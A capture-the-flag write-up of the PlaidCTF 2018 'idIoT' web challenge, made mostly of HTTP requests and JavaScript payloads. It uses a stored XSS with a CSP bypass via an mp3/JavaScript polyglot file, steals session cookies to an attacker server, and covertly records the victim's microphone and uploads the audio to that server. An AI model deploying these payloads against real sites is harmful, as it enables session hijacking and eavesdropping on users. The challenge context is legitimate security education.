# ▼▼▼idIoT: Action Web (200 pts) 38/986=3.8％▼▼▼  
**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**

```  
Some people won't let any smart devices in their home at all. Some are
cautious, do their research, and make an informed decision. This guy falls in
neither category; he's a a downright idIoT.

The idIoT uses this service called clipshare(https://idiot.chal.pwning.xxx/);
you can find his account
here(https://idiot.chal.pwning.xxx/user.php?id=3427e48e-a6eb-4323-aed4-3ce4a83d4f46)
or here after you make an account.

He was telling me the other day about how he has a Google Home next to his
computer running at all times. He also told me that if you ask politely it
will tell you the flag. However, while he'll look at anything you share, he
closes it almost immediately if he doesn't seem like it'll interest him. Maybe
we can look at his clips to find something to match his interests?

(Flag format: PCTF{xxx} where xxx is some text composed of lower-case letters
and underscores)  
```

\---

**【Understanding of functions】**  
```  
・Account registration function  
・Login/logout functioon  
・Audio recording function with javascript  
・Audio playback function with javascript  
・Audio file upload function  
・Sharing audio to other users  
```

\---

## ▼▼Stage1(XSS)▼▼

**【Search for vulnerabilities】**

When reading the problem above I was able to feel that this is an XSS problem.

```  
POST /create.php HTTP/1.1  
Host: idiot.chal.pwning.xxx  
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryplyOYuB7sEcLkkvJ  
Cookie: PHPSESSID=17db1na5g7oahumoj2ea9lj1o6

\------WebKitFormBoundaryplyOYuB7sEcLkkvJ  
Content-Disposition: form-data; name="title"

<>1  
\------WebKitFormBoundaryplyOYuB7sEcLkkvJ  
Content-Disposition: form-data; name="description"

<>2  
\------WebKitFormBoundaryplyOYuB7sEcLkkvJ  
Content-Disposition: form-data; name="audiofile"; filename="musicbox.mp3"  
Content-Type: audio/mp3

～(mp3 file data is omitted)～  
\------WebKitFormBoundaryplyOYuB7sEcLkkvJ--  
```

↓

Next, send the following request

↓

```  
GET /clip.php?id=a6f77dd1-fdb1-4461-95f5-1570c19c8acd HTTP/1.1  
Host: idiot.chal.pwning.xxx  
Cookie: PHPSESSID=17db1na5g7oahumoj2ea9lj1o6  
```

↓

```  
HTTP/1.1 200 OK  
Date: Sat, 05 May 2018 06:16:08 GMT  
Server: Apache/2.4.18 (Ubuntu)  
Content-Security-Policy: style-src 'self' https://fonts.googleapis.com; font-
src 'self' https://fonts.gstatic.com; media-src 'self' blob:; script-src
'self'; object-src 'self'; frame-src 'self'  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
Vary: Accept-Encoding  
Content-Length: 1100  
Connection: close  
Content-Type: text/html; charset=UTF-8

<html>  
<head>  
<link href="https://fonts.googleapis.com/css?family=IBM+Plex+Sans+Condensed"
rel="stylesheet">  
<link rel="stylesheet" href="css/main.css" />  
<script src="js/main.js"></script>  
</head>  
<body>  
<header>  
  
<h1>Clipshare</h1>  
  
<nav>  
Create a clip  
Shares  
kazkiti  
Log out  
</nav>  
</header>  
<main>  
<h2><>1</h2>  
<h3>kazkiti</h3>  
<audio src="uploads/upload_5aed4c274f9c28.18047791.mp3" controls autoplay
class="playback"></audio>  
<div class="box padded">  
<div class="title">Description</div>  
<div class="content"><>2</div>  
</div>  
<form class="box padded" action="share.php" method="POST">  
<div class="title">Share this clip</div>  
<select name="target">  
<option disabled selected>Select a friend</option>  
</select>  
<input type="hidden" name="clip" value="a6f77dd1-fdb1-4461-95f5-1570c19c8acd"
/>  
<input type="submit" name="submit" value="submit" />  
</form>  
</main>  
</body>  
</html>  
```

↓

`<> 2` is not escaped! `description` paramater is `Stored XSS` vulnerable!!

\---

**【First, I confirm the user id that makes XSS payload browse】**

https://idiot.chal.pwning.xxx/user.php?id=3427e48e-a6eb-4323-aed4-3ce4a83d4f46

↓

`idiot1`

↓

Press [ Add friend] button to share audio

\---

**【Check the Content-Security-Policy header】**

```  
Content-Security-Policy: style-src 'self' https://fonts.googleapis.com; font-
src 'self' https://fonts.gstatic.com; media-src 'self' blob:; script-src
'self'; object-src 'self'; frame-src 'self'  
```

↓

`script-src 'self'`

↓

Only `<script src = "(same-origin-contents)"> </ script>` is allowed

\---

**【Identify idiot1's browser type】**

Let's browse to `![]( https://【my_server】) ` and identify the type of idiot1's
browser

↓

```  
POST /create.php HTTP/1.1  
Host: idiot.chal.pwning.xxx  
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryplyOYuB7sEcLkkvJ  
Cookie: PHPSESSID=17db1na5g7oahumoj2ea9lj1o6

\------WebKitFormBoundaryplyOYuB7sEcLkkvJ  
Content-Disposition: form-data; name="title"

<>1  
\------WebKitFormBoundaryplyOYuB7sEcLkkvJ  
Content-Disposition: form-data; name="description"

![](https://【my_server】)  
\------WebKitFormBoundaryplyOYuB7sEcLkkvJ  
Content-Disposition: form-data; name="audiofile"; filename="musicbox.mp3"  
Content-Type: audio/mp3

～(mp3 file data is omitted)～  
\------WebKitFormBoundaryplyOYuB7sEcLkkvJ--  
```

↓

Share it to `idiot1`

↓

I got the following User-agent header on my server

```  
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/67.0.3391.0 Safari/537.36  
```

↓

It seems to be `Chrome`!

\---

**【Search for places where javascript can be uploaded】**

I confirmed Audio file upload function. There are the following descriptions,
and the audio file that can be uploaded is restricted.

↓

```  
Upload a File  
You can upload .wav/wave, .mp3, .ogg, .webm  
```

↓

I confirmed the details.

```  
· It is checked that the file contents are sound sources  
· Extension check is done  
· But Consistency between sound source and extension is not checked  
```

\---

Confirm the extensions that can be CSP-bypassed in Chrome in the local
environment

↓

I created `test.html` file and accessed it.

```  
<script src="test.wav"></script>  
<script src="test.mp3"></script>  
<script src="test.ogg"></script>  
<script src="test.webm"></script>  
<script src="test.wave"></script>  
```

↓

result

![](https://raw.githubusercontent.com/kazkiti/PlaidCTF2018/master/local_check.png)

↓

Only the `wave` extension can be read from `<script src = ●●●></script>` in
Chrome.

\---

**【Consider how to write javascript in audio file】**

I looked for an audio format with no error in the form of `/ * (Audio file) *
/`

↓

```  
POST /create.php HTTP/1.1  
Host: idiot.chal.pwning.xxx  
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryVS0mrwAmBPnIkuZm  
Cookie: PHPSESSID=baq1mp2bito9i92819i9jugm37

\------WebKitFormBoundaryVS0mrwAmBPnIkuZm  
Content-Disposition: form-data; name="title"

test  
\------WebKitFormBoundaryVS0mrwAmBPnIkuZm  
Content-Disposition: form-data; name="description"

test  
\------WebKitFormBoundaryVS0mrwAmBPnIkuZm  
Content-Disposition: form-data; name="audiofile"; filename="test.wave"  
Content-Type: audio/mp3

alert(1);  
/*  
(mp3 file)  
*/  
```

↓

upload OK.

As a result of checking one by one, it turned out that `mp3` is simple.

\---

**【Confirm whether cookie can be acquired with javascript】**  
```  
POST /login.php HTTP/1.1  
Host: idiot.chal.pwning.xxx  
Content-Type: application/x-www-form-urlencoded

username=kazkiti&password=password&submit=submit  
```  
↓

Set-Cookie: PHPSESSID=jfocois0t1ilobr3anv5cjvju7; path=/

↓

There is no `httponly` attribute

It is possible to get cookies with javascript

\---

**【Get cookie of idiot1】**

```  
POST /create.php HTTP/1.1  
Host: idiot.chal.pwning.xxx  
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryVS0mrwAmBPnIkuZm  
Cookie: PHPSESSID=baq1mp2bito9i92819i9jugm37

\------WebKitFormBoundaryVS0mrwAmBPnIkuZm  
Content-Disposition: form-data; name="title"

test  
\------WebKitFormBoundaryVS0mrwAmBPnIkuZm  
Content-Disposition: form-data; name="description"

<script src="●●●●.wave"></script>  
\------WebKitFormBoundaryVS0mrwAmBPnIkuZm  
Content-Disposition: form-data; name="audiofile"; filename="test.wave"  
Content-Type: audio/mp3

(new Image).src='https://【my_server】?'+document.cookie;  
/*  
(mp3 file)  
*/  
```

↓

Share idiot1 and got the following

```  
GET /17lytyo1?PHPSESSID=2p1d1495hbkpflbj2ctoe4e091  
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/67.0.3391.0 Safari/537.36  
```

↓

Logged in as `PHPSESSID = 2p1d1495hbkpflbj2ctoe4e091`.

\---

## ▼▼Stage2(CSRF)▼▼

There are 2 Audio. To summarize them ...  
```  
・There is Google Home near his PC  
・When asking `OK! Google! what is a flag?` on Google Home, it tells flag  
・If I put `spatulate` in `discription paramater` when I send voice, Google
Home will listen to the voice  
```

\---

I thought that I could get a flag if I did the following

```  
・Upload the 'OK! Google! What is flag?' voice and tell Google Home  
・Record the flag that Google Home tells me  
・Send audio file to my server  
```

↓

I created the following exploit with reference to `js/ main.js`

↓

```  
POST /create.php HTTP/1.1  
Host: idiot.chal.pwning.xxx  
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryVS0mrwAmBPnIkuZm  
Cookie: PHPSESSID=baq1mp2bito9i92819i9jugm37

\------WebKitFormBoundaryVS0mrwAmBPnIkuZm  
Content-Disposition: form-data; name="title"

test  
\------WebKitFormBoundaryVS0mrwAmBPnIkuZm  
Content-Disposition: form-data; name="description"

spatulate  
![](https://【my_server】?ok_0)  
<script src="/uploads/upload_5aef1d1e024e06.39902088.wave"></script>  
<form action="create.php" method="post" enctype="multipart/form-data"
id="upload-form">  
<input type="text" name="title" id="title-input" value="flag"/>  
<textarea type="text" name="description" id="description-
input">flag</textarea>  
<label for="audiofile" class="file-label">Upload a file</label>  
<input type="file" name="audiofile" id="audiofile" accept="audio/*" />  
<button type="button" id="audio-record">Record</button>  
<audio id="record-playback" controls></audio>  
<button type="submit" name="submit" id="up_exe" value="submit">submit</button>  
</form>  
\------WebKitFormBoundaryVS0mrwAmBPnIkuZm  
Content-Disposition: form-data; name="audiofile"; filename="test.wave"  
Content-Type: audio/mp3

window.onload = () => {

//(new Image).src = 'https://【my_server】?read_1';

document.querySelectorAll("input[type='file']").forEach((input) => {  
input.addEventListener("change", (e) => {  
document.querySelector(`label[for="${input.id}"]`).innerText =
e.target.value.split("\\\").pop();  
});  
});

let recordButton = document.getElementById("audio-record");  
let recordPlayback = document.getElementById("record-playback");  
let uploadForm = document.getElementById("upload-form");  
let mediaRecorder;  
let mediaType =  
!("MediaRecorder" in window) ? undefined  
: MediaRecorder.isTypeSupported("audio/ogg") ? "audio/ogg"  
: MediaRecorder.isTypeSupported("audio/webm") ? "audio/webm"  
: undefined;  
let mediaBlob;

if (recordButton) {  
recordButton.addEventListener("click", (e) => {  
e.preventDefault();  
//console.log("mediaType="+mediaType);//--------1  
//(new Image).src = 'https://【my_server】?record_2';  
if (!mediaType) {  
console.log("mediaType:None");  
return;  
}

//console.log("mediaRecorder="+mediaRecorder);//--------2  
//(new Image).src = 'https://【my_server】?record_3';  
if (mediaRecorder) {  
//console.log("stop:1");  
mediaRecorder.stop();  
mediaRecorder = undefined;  
recordButton.innerText = "Record";  
} else {  
//console.log("Record");//--------3  
//(new Image).src = 'https:/【my_server】?record_4';  
recordButton.innerText = "Stop";  
navigator.mediaDevices.getUserMedia({ audio: true }).then((stream) => {  
//console.log("navigator");//--------4  
//(new Image).src = 'https://【my_server】?navigator_5';  
mediaRecorder = new MediaRecorder(stream, { mimeType: mediaType });  
  
mediaRecorder.start();

//console.log("chunk");//--------5  
//(new Image).src = 'https://【my_server】?chunk_6';  
let chunks = [];

mediaRecorder.addEventListener("dataavailable", (e) => {  
//console.log("push");  
chunks.push(e.data);  
});

mediaRecorder.addEventListener("stop", () => {  
//console.log("stop");  
//(new Image).src = 'https://【my_server】?stop_7';  
mediaBlob = new Blob(chunks);  
recordPlayback.src = URL.createObjectURL(mediaBlob);  
//console.log(mediaBlob);

document.getElementById("up_exe").click();  
})  
});  
}  
});  
}

if (uploadForm) {  
//console.log("upload-start");  
//(new Image).src = 'https://【my_server】?upload-start_8';  
uploadForm.addEventListener("submit", (e) => {  
//alert("uploadForm_addEventListener");  
e.preventDefault();  
let formData = new FormData(uploadForm);

//console.log(mediaBlob);  
//alert(mediaBlob);  
if (mediaBlob) {  
//alert("mediaBlob-OK");  
formData.append("audiofile", mediaBlob, "audio." + mediaType.split("/")[1]);  
}

//let f = fetch("create.php", {  
let f = fetch("https://【my_server】/10_upload/upload.php", {  
method: "POST",  
mode: 'cors',  
body: formData,  
credentials: "same-origin"  
});

});  
}

recordButton.click();  
//console.log("timer_start");//timer  
//(new Image).src = 'https://【my_server】?timer_start_9';  
setTimeout(function(){recordButton.click();},20000);  
}  
/*  
(mp3 file)  
*/  
\------WebKitFormBoundaryVS0mrwAmBPnIkuZm--  
```

↓

Audio file uploaded to my server. listen to the audio file.

↓

`pctf{not_so_smart}`